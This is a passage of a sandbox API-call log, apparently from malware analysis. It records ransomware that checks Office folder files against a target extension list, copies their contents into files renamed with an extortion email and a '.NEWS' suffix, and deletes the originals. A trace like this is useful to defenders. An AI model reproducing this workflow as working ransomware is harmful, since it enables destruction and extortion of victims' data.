Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.305] lstrlenW (lpString=".doc") returned 4 [0063.305] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0063.305] lstrlenW (lpString=".docx") returned 5 [0063.305] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0063.305] lstrlenW (lpString=".pdf") returned 4 [0063.305] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0063.305] lstrlenW (lpString=".xls") returned 4 [0063.305] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0063.305] lstrlenW (lpString=".xlsx") returned 5 [0063.305] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0063.305] lstrlenW (lpString=".ppt") returned 4 [0063.305] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0063.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.305] lstrlenW (lpString=".zip") returned 4 [0063.305] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0063.305] lstrlenW (lpString=".rar") returned 4 [0063.305] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0063.305] lstrlenW (lpString=".bz2") returned 4 [0063.305] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0063.305] lstrlenW (lpString=".7z") returned 3 [0063.305] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0063.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.306] lstrlenW (lpString=".dbf") returned 4 [0063.306] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.306] lstrlenW (lpString=".1cd") returned 4 [0063.306] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.306] lstrlenW (lpString=".jpg") returned 4 [0063.306] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.306] lstrlenW (lpString=".doc") returned 4 [0063.306] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0063.306] lstrlenW (lpString=".docx") returned 5 [0063.306] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0063.306] lstrlenW (lpString=".pdf") returned 4 [0063.306] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0063.306] lstrlenW (lpString=".xls") returned 4 [0063.306] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0063.306] lstrlenW (lpString=".xlsx") returned 5 [0063.306] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0063.306] lstrlenW (lpString=".ppt") returned 4 [0063.306] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0063.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.307] lstrlenW (lpString=".zip") returned 4 [0063.307] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0063.307] lstrlenW (lpString=".rar") returned 4 [0063.307] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0063.307] lstrlenW (lpString=".bz2") returned 4 [0063.307] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0063.307] lstrlenW (lpString=".7z") returned 3 [0063.307] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0063.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.307] lstrlenW (lpString=".dbf") returned 4 [0063.307] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0063.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.307] lstrlenW (lpString=".1cd") returned 4 [0063.307] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0063.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0063.307] lstrlenW (lpString=".jpg") returned 4 [0063.307] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0063.308] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0063.308] lstrlenW (lpString="Peacock.jpg") returned 11 [0063.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.964] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=5115) returned 1 [0065.964] CloseHandle (hObject=0x208) returned 1 [0065.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0065.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.500] lstrlenW (lpString=".doc") returned 4 [0066.500] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.500] lstrlenW (lpString=".docx") returned 5 [0066.500] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0066.500] lstrlenW (lpString=".pdf") returned 4 [0066.500] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.500] lstrlenW (lpString=".xls") returned 4 [0066.500] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.500] lstrlenW (lpString=".xlsx") returned 5 [0066.500] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0066.500] lstrlenW (lpString=".ppt") returned 4 [0066.500] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.500] lstrlenW (lpString=".zip") returned 4 [0066.500] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.500] lstrlenW (lpString=".rar") returned 4 [0066.500] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.500] lstrlenW (lpString=".bz2") returned 4 [0066.500] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.500] lstrlenW (lpString=".7z") returned 3 [0066.500] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.500] lstrlenW (lpString=".dbf") returned 4 [0066.501] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.501] lstrlenW (lpString=".1cd") returned 4 [0066.501] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.501] lstrlenW (lpString=".jpg") returned 4 [0066.501] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.501] lstrlenW (lpString=".doc") returned 4 [0066.501] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0066.501] lstrlenW (lpString=".docx") returned 5 [0066.501] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0066.501] lstrlenW (lpString=".pdf") returned 4 [0066.502] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0066.502] lstrlenW (lpString=".xls") returned 4 [0066.502] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0066.502] lstrlenW (lpString=".xlsx") returned 5 [0066.502] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0066.502] lstrlenW (lpString=".ppt") returned 4 [0066.502] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0066.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.502] lstrlenW (lpString=".zip") returned 4 [0066.502] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0066.502] lstrlenW (lpString=".rar") returned 4 [0066.502] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0066.502] lstrlenW (lpString=".bz2") returned 4 [0066.502] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0066.502] lstrlenW (lpString=".7z") returned 3 [0066.502] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0066.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.502] lstrlenW (lpString=".dbf") returned 4 [0066.502] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0066.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.502] lstrlenW (lpString=".1cd") returned 4 [0066.502] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0066.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0066.503] lstrlenW (lpString=".jpg") returned 4 [0066.503] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0066.503] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0066.503] lstrlenW (lpString="Stucco.gif") returned 10 [0066.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0066.880] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1864) returned 1 [0066.880] CloseHandle (hObject=0x1a0) returned 1 [0066.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0066.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.880] lstrlenW (lpString=".doc") returned 4 [0066.880] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.881] lstrlenW (lpString=".docx") returned 5 [0066.881] lstrcmpiW (lpString1=".docx", lpString2="o.gif") returned -1 [0066.881] lstrlenW (lpString=".pdf") returned 4 [0066.881] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.881] lstrlenW (lpString=".xls") returned 4 [0066.881] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.881] lstrlenW (lpString=".xlsx") returned 5 [0066.881] lstrcmpiW (lpString1=".xlsx", lpString2="o.gif") returned -1 [0066.881] lstrlenW (lpString=".ppt") returned 4 [0066.881] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.881] lstrlenW (lpString=".zip") returned 4 [0066.881] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.881] lstrlenW (lpString=".rar") returned 4 [0066.881] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.881] lstrlenW (lpString=".bz2") returned 4 [0066.881] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.881] lstrlenW (lpString=".7z") returned 3 [0066.881] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.881] lstrlenW (lpString=".dbf") returned 4 [0066.882] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.882] lstrlenW (lpString=".1cd") returned 4 [0066.882] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.882] lstrlenW (lpString=".jpg") returned 4 [0066.882] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.882] lstrlenW (lpString=".doc") returned 4 [0066.882] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0066.882] lstrlenW (lpString=".docx") returned 5 [0066.882] lstrcmpiW (lpString1=".docx", lpString2="o.gif") returned -1 [0066.882] lstrlenW (lpString=".pdf") returned 4 [0066.882] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0066.882] lstrlenW (lpString=".xls") returned 4 [0066.882] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0066.882] lstrlenW (lpString=".xlsx") returned 5 [0066.882] lstrcmpiW (lpString1=".xlsx", lpString2="o.gif") returned -1 [0066.883] lstrlenW (lpString=".ppt") returned 4 [0066.883] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.883] lstrlenW (lpString=".zip") returned 4 [0066.883] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0066.883] lstrlenW (lpString=".rar") returned 4 [0066.883] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0066.883] lstrlenW (lpString=".bz2") returned 4 [0066.883] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0066.883] lstrlenW (lpString=".7z") returned 3 [0066.883] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.883] lstrlenW (lpString=".dbf") returned 4 [0066.883] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.883] lstrlenW (lpString=".1cd") returned 4 [0066.883] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0066.883] lstrlenW (lpString=".jpg") returned 4 [0066.883] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0068.119] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0068.119] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0068.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0069.381] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=19780) returned 1 [0069.381] CloseHandle (hObject=0x1e8) returned 1 [0069.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0069.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0069.382] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.382] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0069.383] GetLastError () returned 0x0 [0069.383] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0070.489] WriteFile (in: hFile=0x208, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0070.493] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.493] WriteFile (in: hFile=0x208, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.493] SetEndOfFile (hFile=0x208) returned 1 [0070.493] CloseHandle (hObject=0x208) returned 1 [0070.493] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.493] SetEndOfFile (hFile=0x1e8) returned 1 [0070.495] CloseHandle (hObject=0x1e8) returned 1 [0070.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0070.495] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0070.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.496] lstrlenW (lpString=".doc") returned 4 [0070.496] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.496] lstrlenW (lpString=".docx") returned 5 [0070.496] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.496] lstrlenW (lpString=".pdf") returned 4 [0070.496] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.496] lstrlenW (lpString=".xls") returned 4 [0070.496] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.496] lstrlenW (lpString=".xlsx") returned 5 [0070.496] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.496] lstrlenW (lpString=".ppt") returned 4 [0070.496] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.496] lstrlenW (lpString=".zip") returned 4 [0070.496] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.496] lstrlenW (lpString=".rar") returned 4 [0070.496] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.496] lstrlenW (lpString=".bz2") returned 4 [0070.497] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString=".7z") returned 3 [0070.497] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.497] lstrlenW (lpString=".dbf") returned 4 [0070.497] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.497] lstrlenW (lpString=".1cd") returned 4 [0070.497] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.497] lstrlenW (lpString=".jpg") returned 4 [0070.497] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.497] lstrlenW (lpString=".doc") returned 4 [0070.497] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString=".docx") returned 5 [0070.497] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0070.497] lstrlenW (lpString=".pdf") returned 4 [0070.497] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0070.497] lstrlenW (lpString=".xls") returned 4 [0070.497] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0070.497] lstrlenW (lpString=".xlsx") returned 5 [0070.498] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0070.498] lstrlenW (lpString=".ppt") returned 4 [0070.498] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.498] lstrlenW (lpString=".zip") returned 4 [0070.498] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0070.498] lstrlenW (lpString=".rar") returned 4 [0070.498] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0070.498] lstrlenW (lpString=".bz2") returned 4 [0070.498] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0070.498] lstrlenW (lpString=".7z") returned 3 [0070.498] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.498] lstrlenW (lpString=".dbf") returned 4 [0070.498] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.498] lstrlenW (lpString=".1cd") returned 4 [0070.498] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0070.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0070.498] lstrlenW (lpString=".jpg") returned 4 [0070.498] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0070.499] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0070.499] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0070.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0070.671] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=43276) returned 1 [0070.671] CloseHandle (hObject=0x190) returned 1 [0070.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0070.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 